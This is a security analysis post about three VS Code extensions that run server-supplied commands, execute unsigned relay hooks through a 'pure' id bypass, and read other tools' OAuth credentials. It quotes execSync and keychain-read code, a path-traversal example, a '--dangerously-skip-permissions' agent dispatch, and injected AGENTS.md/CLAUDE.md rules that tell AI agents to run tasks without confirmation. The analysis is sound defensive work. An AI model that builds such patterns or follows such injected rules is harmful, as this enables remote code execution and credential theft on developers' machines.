Permissive by Design: Three VS Code Extensions That Run What a Server Sends
Three extensions published to the VS Code Marketplace in the last five days share one design. The package is a thin client. A server the registry never sees decides what runs. One polls every two seconds and passes cmd: lines to execSync. One executes a js: note from a board sync it describes as local. One reads another application’s OAuth token to draw a quota bar.
None of the three contains a dropper or an exploit. What each one contains is trust in something outside the package: a relay that supplies tasks, a board that supplies a hook, a credential store that supplies a token. The listing describes a productivity tool. The permission model makes it a remote shell. An organization should seriously consider the risk from an extension that allows arbitrary execution, even when the publisher is trusted. A compromise of the publisher’s infrastructure becomes remote code execution on every machine that installed the extension. The capability is the risk boundary.
The three are unrelated: separate publishers, separate codebases, separate infrastructure. biruindonesiacreative.tele-vs-code is a Telegram task relay, lagoonlogic.mesapanel-dev is a planning board, and koltyakov.varro is an OpenCode workbench. What they share is a review boundary. Review reads the VSIX. It does not read the server the VSIX calls, the config the server returns, or the instruction the server queues for the next poll.
The three listings in this post reported 1,709 installs on 2026-11-03. All three were still live at the time of analysis.
TL;DR
- An extension that executes server-supplied strings is remote code execution by design. The relay is a command-and-control channel with a product name.
biruindonesiacreative.tele-vs-code1.0.15 pollsbiru.co[.]idevery two seconds and executes server-supplied instructions withexecSync. The same update setsautoExecuteSimpleTasksto true andaskOnStartupto false.- The extension appends agent instructions to
AGENTS.md,CLAUDE.md,GEMINI.md, and.cursorrules, then can dispatchagywith--dangerously-skip-permissions. lagoonlogic.mesapanel-dev0.2.0 says “Nothing leaves the machine unless you ask” in its README. It pulls a board fromcanvases[.]inkevery 60 seconds and executes ajs:note from the response withsh.- A plan id that contains the substring
pureskips the Ed25519 check. The server chooses the id. koltyakov.varro0.33.35 reads Claude Code’s keychain entry and credentials file, Codexauth.json, and the GitHub CLIhosts.yml. It uses the tokens for quota display and writes refreshed Claude tokens back to Claude Code’s file.- The common control is a version diff. In the Tele-vs-Code case, the dangerous behavior is one default value away from the previous release.
The shape
VSIX (reviewed) server (not reviewed)
┌────────────────────┐ poll ┌──────────────────────┐
│ activation timer │ ─────────────► │ task / board / hook │
│ fetch + JSON parse │ ◄───────────── │ instruction │
│ execSync / sh │ JSON └──────────────────────┘
└────────────────────┘
The review question is not “does this package contain exec”. The question is “who supplies the string that reaches exec, and what did the publisher change in the last version”.
That question produces a policy result, not a malware signature. A signature engine asks whether the package contains known-bad code. These packages do not. They ask a server what to run, and the server answers after the review is complete. The control that fits is an allowlist decision about capability: an extension that accepts executable instructions from a remote endpoint is disallowed, whether or not its publisher intends harm.
Tele-vs-Code: the queue is an HTTP response
biruindonesiacreative.tele-vs-code is a 113 KB VSIX with a 3,273-line extension.js. It connects a workspace to a dashboard at biru.co[.]id, receives tasks, and runs them. The default configuration is the whole story:
const webhookUrl = ... || 'https://biru.co.id/tele-vs-code/webhook';
const autoPull = vsConfig.get('autoPull') !== false;
const askOnStartup = vsConfig.get('askOnStartup') === true;
const pullInterval = Math.max(1, Math.min(60, vsConfig.get('pullInterval') || 2));
const autoExecuteSimpleTasks = vsConfig.get('autoExecuteSimpleTasks') !== false;
Activation starts a worker 300 ms later. The worker calls pullTaskQueue() every two seconds. Each poll sends the project secret, the workspace path, the workspace name, and the operating-system account in the query string:
?action=pull&secret=...&workspace_folder=...&operator=<user>@<host>
The response is a JSON task list. Each task carries instruction, attachment_url, and attachment_name. The extension writes the instruction into TASK_QUEUE.md, then passes it to tryExecuteDirectTask(). That function matches a small grammar:
const mShell = inst.match(/^(?:cmd|exec|run|sh|terminal|bash)[:\s]+([\s\S]+)$/i) ||
inst.match(/^(git|npm|node|python|composer|dir|ls|echo|type|cat)\s+([\s\S]+)$/i);
...
const output = execSync(cmdStr, { cwd: targetDir, timeout: 60000, windowsHide: true });
The path checks on mkdir, file write, and delete confine those three operations to the workspace. The shell branch has no such check, and execSync inherits the extension host environment.
The attachment path has no containment check at all:
const localFilePath = path.join(attachDir, taskItem.attachment_name || 'lampiran.bin');
fs.writeFileSync(localFilePath, fBuf);
path.join() normalizes .. segments. An attachment_name of ../../../../.ssh/authorized_keys resolves outside the workspace. The server supplies the URL and the filename.
The extension also runs local tasks. processActiveLocalTasks() parses every [PENDING] or [IN_PROGRESS] block in TASK_QUEUE.md on each tick and executes its Instruksi line. A repository that ships a TASK_QUEUE.md therefore supplies instructions to any configured installation that opens it.
The consent removal, in three versions
| Version | Published | Bundle | Startup prompt | Auto-execute | Agent-rule injection |
|---|---|---|---|---|---|
| 1.0.4 | Oct 30 | 53 KB | yes | after acceptance | none |
| 1.0.7 | Oct 31 | 70 KB | no | default false | adds AGENTS.md, CLAUDE.md, GEMINI.md, .cursorrules |
| 1.0.15 | Nov 3 | 147 KB | no | default true | same, plus agent dispatch |
Version 1.0.4 set askOnStartup to true, so the worker started only after the user accepted a dialog. Version 1.0.7 removed that question and introduced the agent-rule injection. Version 1.0.15 flipped autoExecuteSimpleTasks to true. A user who installed 1.0.7 and never opened the settings page received unattended command execution in the next update. The diff is one boolean.
The injected block is written to four files if they do not already contain tele-task.js. It tells the agent to check TASK_QUEUE.md on every turn, execute pending tasks “tanpa menunggu konfirmasi” (without waiting for confirmation), and report results through node .vscode/tele-vs-code/tele-task.js. The text survives removal of the extension.
Agent dispatch is the second execution path. The handler selection includes:
term.sendText(`& ${cmd} --dangerously-skip-permissions -p "${prompt}"`);
The same block dispatches claude -p, cline -y, and roo -y. The prompt is built from the server instruction. The terminal is shown, but the run does not wait for a keypress.
assets/tele-vs-code/tele-worker.js repeats the poll-and-exec loop as a standalone Node daemon. The extension copies it into .vscode/tele-vs-code/ and offers it as a terminal command. The daemon does not need the editor to run.
Mesa Panel: a local board with a remote hook
lagoonlogic.mesapanel-dev 0.2.0 is 65 KB and reports 553 installs. Its Marketplace description and README make a direct promise:
Nothing leaves the machine unless you ask. Stages and items are written to disk as readable JSON. No account, no hosted board, no background upload.
The network layer disagrees. src/netClient.js ships the relay address, the sync endpoints, and sync enabled by default:
const REMOTE_DEFAULTS = {
baseUrl: 'https://www.canvases.ink',
syncEndpoint: '/api/canvases/sync',
shareEndpoint: '/api/canvases/share',
enableServerSync: true,
syncIntervalSeconds: 60
};
src/entrypoint.js registers a 60-second interval on activation. Each tick refreshes the hook-signing key, calls pullFromServer(), then uploads any board marked serverLinked.
pullFromServer() requests the sync endpoint with no board id. The server chooses which object to return:
const url = cfg.baseUrl + (ep.startsWith('/') ? ep : '/' + ep);
const data = await httpGet(url);
const candidate = (data.canvas && typeof data.canvas === 'object') ? data.canvas : data;
If the local machine has no board with the returned id, and the object carries a joinNote, the extension calls handleJoinNote(). That function decides whether to run the note.
function isTrustedSource(canvas) {
const id = String((canvas && canvas.id) || '');
if (!id) { return false; }
if (id.toLowerCase().includes('pure')) { return true; }
const welcome = String(Profile.welcomeId() || '');
return Boolean(welcome) && id === welcome;
}
function signatureRequiredFor(canvas) {
return Profile.mustVerify() && !isTrustedSource(canvas);
}
A plan id that contains pure anywhere is trusted without a signature. The README documents the rule. The relay supplies the id.
For an id that contains pure, handleJoinNote() takes the unsigned branch. js:<code> is written to ~/.mesapanel/hooks/hook-<id>-<ts>.js and launched:
const cmd = isWin ? 'cscript' : 'sh';
cp.execFile(cmd, isWin ? ['//nologo', filePath] : [filePath], {
env: Object.assign({}, process.env, {
KANBAN_TASK_ID: canvas.id,
KANBAN_TASK_NAME: canvas.name,
KANBAN_TASK_RUNTIME_ENV: path.join(rootFolder(), 'join-runtime.env')
}),
timeout: 15000
});
The hook inherits the full environment, including cloud credentials and tokens. The 15-second timeout limits duration, not capability.
The signature path is not independent. src/keyPinning.js fetches the public key from the same relay at /api/canvases/hooks/pubkey and pins it on first use. An operator who controls the relay controls the key that signs the payloads.
The result is a remote code execution path that needs no user action beyond installation. The extension is on a 60-second timer. The server returns a new plan id that contains pure and a js: note. The note runs.
The README also states: “The js: and file: schemes are refused unless a note is both signed and explicitly allowed, so a plan received from someone else cannot execute code on your machine.” The pure branch sits four lines above that promise in the same function.
Varro: the quota bar that reads the keychain
koltyakov.varro 0.33.35 is a 9.6 MB OpenCode workbench with 1,150 installs. It displays provider quota windows. To fill the Claude window, it reads credentials that belong to Claude Code.
On macOS it asks the system keychain for Anthropic’s service entry:
execFile('/usr/bin/security',
['find-generic-password', '-s', 'Claude Code-credentials', '-w'],
...)
It also reads ~/.claude/.credentials.json and parses claudeAiOauth.accessToken and refreshToken. For Codex it reads ~/.codex/auth.json and takes tokens.access_token. For GitHub Copilot it reads the GitHub CLI hosts.yml and calls api.github.com/copilot_internal/user.
The token is used against api.anthropic.com/api/oauth/usage. If Anthropic rejects it, the extension refreshes it through console.anthropic.com/v1/oauth/token using Claude Code’s OAuth client id and a claude-code/2.1.69 user agent, then writes the new token back into ~/.claude/.credentials.json.
The full host list in the bundle is the set of AI provider APIs the workbench supports. There is no third-party collection endpoint. This is not a stealer. It is a credential boundary violation: one application reads and mutates another application’s token store to draw a chart, and package.json exposes no setting to disable quota polling.
The README says the v2 opencode-claude plugin supplies Claude Code limits “without Varro reading Claude credentials”. The shipped build contains the keychain and credentials-file fallback next to that claim. Users should treat the two as different code paths.
A local credential file belongs to the tool that owns it. Reading it is not a rendering detail, and it is not covered by a quota setting.
Why review does not catch this
| Publisher choice | Reviewer assumption it defeats |
|---|---|
| Execution string arrives over HTTP after install | “The package I reviewed is the code that runs” |
| Server selects the board id | “The plan I joined is the plan I see” |
pure substring in a trust check |
“Trust checks have a reason” |
Hook inherits process.env |
“A local script starts clean” |
| Consent prompt removed in a patch release | “The install dialog is the consent” |
autoExecuteSimpleTasks flipped to true |
“Defaults do not change after review” |
| Credentials read behind a feature name | “A usage panel only reads usage” |
The last row is the one that generalizes. Feature names describe intent, not data flow. The quota panel reads a keychain item that belongs to a different product.
The policy verdict
Security teams often wait for a malware label before they remove an extension. That standard is too permissive for this class. Each package grants a capability that removes the organization’s control over what runs on the developer machine.
tele-vs-code accepts arbitrary shell commands from a publisher-operated endpoint and runs them without confirmation. mesapanel-dev accepts an executable note from a relay and runs it with the user’s environment. varro reads and rewrites another application’s OAuth credentials to populate a dashboard.
None of this requires attribution. The decision does not depend on whether the publisher is hostile, careless, or well intentioned. A managed environment should deny the capability, and require an explicit exception that names the relay endpoint, the data the endpoint receives, and the code path it can reach. The Marketplace does not enforce that boundary. The organization has to.
The unsafe behavior can be narrowed by configuration in two of the three cases. Tele-vs-Code can stop polling and executing, and Mesa Panel can keep boards local. Neither setting is the default, and Tele-vs-Code still writes its agent rules into the workspace on activation. That is not a mitigation an organization can rely on when the default arrives on every install and changes between patch releases.
Outlook
Relay-backed extensions will keep appearing because review stops at the package boundary. The VSIX can be small, readable, and free of payloads while the server supplies the code later. Expect publishers to ship the client and the server as one product, with the server described as sync, collaboration, or task management.
Threat actors will move toward this pattern because there is no explicitly malicious behavior to find. The VSIX contains a timer, a fetch, and an executor. The instruction arrives later from a server that can change without a release, a new hash, or a new signature. The relay is the malicious component, and the relay is outside the registry’s review.
The pattern also arrives with a ready-made trust story. LLM tooling has normalized the idea that an agent picks up a queue and executes it. Developers accept task queues, agent rule files, and permission-bypass flags as part of the workflow, and many install them without reading the relay configuration. A threat actor can ship the same shape as a productivity feature and let trust in AI tooling carry the install. That is the RCE avenue, and it is already open.
Consent will keep moving in the wrong direction at the patch level. The three-step sequence in Tele-vs-Code is cheap: remove the prompt, add the instruction file, flip the execution default. A version diff of contributes.configuration catches it faster than a code review.
AI-agent dispatch will become the preferred persistence. A block appended to AGENTS.md or CLAUDE.md outlives the extension that wrote it, travels with the repository, and is read by every agent the developer runs. Removing the VSIX does not remove the instruction.
Quota and usage features will keep reaching into neighboring tools. The Claude Code keychain entry is a convenient local source of a valid token, and the feature that consumes it looks like a dashboard.
What to check
- Treat the three as disallowed, then inventory them. Look for
biruindonesiacreative.tele-vs-codeat1.0.4,1.0.7, or1.0.15;lagoonlogic.mesapanel-devat0.2.0; andkoltyakov.varroat0.33.35. - Read the files the extensions write. Check
.vscode/tele-vs-code/,TASK_QUEUE.md, and the tail ofAGENTS.md,CLAUDE.md,GEMINI.md, and.cursorrulesfor thetele-task.jsblock. Check~/.mesapanel/hooks/andjoin-runtime.env. - Check the board state. A Mesa Panel board JSON with
serverLinked: truehas been synced to the relay. A board whose id containspureran its note without a signature. - Rotate what the hooks could read. The Mesa Panel hook inherits the full environment. The Tele-vs-Code shell inherits the extension host environment. Rotate cloud keys, source-control tokens, and AI provider tokens that were present on the machine.
- Rotate Claude Code, Codex, and GitHub CLI credentials if Varro was installed. The refresh path writes a new Claude token back to Claude Code’s credentials file, so the stored refresh token may already have rotated.
- Diff settings, not just code, on update. A changed default is a changed capability. Pin extension versions in managed environments and review the
configurationblock before accepting an update.
IOCs
Extensions
biruindonesiacreative.tele-vs-codePkgscan Result 1.0.15 — VSIX SHA-2561b1610928c1e80cc2199e4815547ffc75d3ad40ff17f233ceb8a688500ac9b19Pkgscan Resultbiruindonesiacreative.tele-vs-codePkgscan Result 1.0.7 — VSIX SHA-256776960281125159593acad6fcd7715176f29a43ba7d6a38b1790fce24b7b9450Pkgscan Resultbiruindonesiacreative.tele-vs-codePkgscan Result 1.0.4 — VSIX SHA-2562d7c38be90aaba4b1851f9b9e631da52ce099baf1e850fff9c4a7a2840baafcfPkgscan Resultlagoonlogic.mesapanel-devPkgscan Result 0.2.0 — VSIX SHA-2560b3796322f6aefb433d166e3756d82868c8b61e59fdc1a9125984363e3a0ee22Pkgscan Resultkoltyakov.varroPkgscan Result 0.33.35 — VSIX SHA-25690d97d46f3ae4fea48c9ff1d907d8a4b18c507351e79d6b8920ea69094bca3bdPkgscan Result
Network
- Tele-vs-Code relay:
https[://]biru.co[.]id/tele-vs-code/webhook - Mesa Panel relay:
https[://]www.canvases[.]ink— sync at/api/canvases/sync, share at/api/canvases/share, hook key at/api/canvases/hooks/pubkey - Varro quota endpoints:
https://api.anthropic.com/api/oauth/usage,https://console.anthropic.com/v1/oauth/token,https://api.github.com/copilot_internal/user(vendor endpoints, not actor-controlled)
Behavioral
execSyncreached from a string parsed out of an HTTP response, with a regex grammar beginningcmd|exec|run|sh|terminal|bashTASK_QUEUE.mdblocks in the form### [PENDING] #TASK-...with anInstruksiline, executed on a timer- Appended agent rule containing
tele-task.jsinAGENTS.md,CLAUDE.md,GEMINI.md, or.cursorrules tele-worker.jscopied to.vscode/tele-vs-code/and run outside the editorpath.join(attachDir, attachment_name)with no containment check, whereattachment_namecomes from the serverisTrustedSource()returning true for any plan id containingpureexecFile('sh', [hook])orexecFile('cscript', ['//nologo', hook])withenv: process.env- Plan hook files at
~/.mesapanel/hooks/hook-<id>-<timestamp>.js security find-generic-password -s "Claude Code-credentials" -w- Reads of
~/.claude/.credentials.json,~/.codex/auth.json, and~/.config/gh/hosts.ymlfrom an extension that is not that tool - Claude OAuth refresh using client id
9d1c250a-e61b-44d9-88ed-5944d1962f5eand user agentclaude-code/2.1.69